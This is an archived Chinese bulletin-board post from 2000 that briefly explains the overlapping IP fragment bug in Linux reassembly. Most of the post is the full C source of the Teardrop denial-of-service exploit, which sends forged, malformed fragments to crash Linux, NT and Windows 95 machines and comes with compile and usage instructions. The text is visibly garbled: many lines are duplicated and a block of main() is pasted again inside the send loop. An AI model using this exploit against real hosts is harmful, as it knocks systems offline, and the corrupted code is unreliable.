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发信人: bstone (Back to real world!), 信区: Hacker
标 题: 常用攻击程序----Teardrop源代码
发信站: BBS 荔园晨风站 (Mon Apr 3 10:50:36 2000), 转信
发信人: Luther (国际竞争不信眼泪), 信区: Security
标 题: 常用攻击程序----Teardrop源代码
发信站: 武汉白云黄鹤站 (Sun Apr 2 18:53:54 2000), 站内信件
在Linux的ip包重组过程中有一个严重的漏洞。
在ip_glue()中:
在循环中重组ip包:
fp = qp->fragments;
while(fp != NULL)
{
if(count+fp->len > skb->len)
{
error_to_big;
}
memcpy((ptr + fp->offset), fp->ptr, fp->len);
count += fp->len;
fp = fp->next;
}
这里只检查了长度过大的情况,而没有考虑长度过小的情况,
如 fp->len<0 时,也会使内核拷贝过多的东西。
计算分片的结束位置:
end = offset + ntohs(iph->tot_len) - ihl;
当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
是这样处理的:
if (prev != NULL && offset < prev->end)
{
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}
/* Fill in the structure. */
fp->offset = offset;
fp->end = end;
fp->len = end - offset; //fp->len是一个有符号整数
举个例子来说明这个漏洞:
第一个碎片:mf=1 offset=0 payload=20
敌二个碎片:mf=0 offset=10 payload=9
这样第一个碎片的 end=0+20
offset=0
这样第二个碎片的 end=9+10=19
offset=offset+(20-offset)=20
fp-〉len=19-20=-1;
那么memcpy将拷贝过多的数据导致崩溃。
/*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels an
d
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0
*/
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 *
/
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1,
count = 0,
i,
rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
//建SOCK_RAW
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
//由系统处理IP校验和。
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(on
e))
< 0)
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]
)))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementati
on
* independent way of assembling network packets that does not rely on any
of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginnin
g
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel *
p_ptr += 4; /* IP checksum filled in by kernel *
/
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&si
n,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to wor
k
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the heade
r */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\
n",
name);
exit(0);
}
--
┏┓ ┏┓┏┓ ┏━━┓ ┏┓┏┓ ┏━━┓ ┏━━┓
┃┃ ┃┃┃┃ ┗┓┏┛ ┃┗┛┃ ┃ ━┫ ┃ ━ ┃
┃┗┓ ┃┗┛┃ ┃┃ ┃┏┓┃ ┃ ━┫ ┃┣┓┃
┗━┛ ┗━━┛ ┗┛ ┗┛┗┛ ┗━━┛ ┗┛┗┛
if ((addr.s_addr = inet_addr(host_name)) == -1)
--
┏┓ ┏┓┏┓ ┏━━┓ ┏┓┏┓ ┏━━┓ ┏━━┓
┃┃ ┃┃┃┃ ┗┓┏┛ ┃┗┛┃ ┃ ━┫ ┃ ━ ┃
┃┗┓ ┃┗┛┃ ┃┃ ┃┏┓┃ ┃ ━┫ ┃┣┓┃
┗━┛ ┗━━┛ ┗┛ ┗┛┗┛ ┗━━┛ ┗┛┗┛
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 202.112.20.144]
--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.106]
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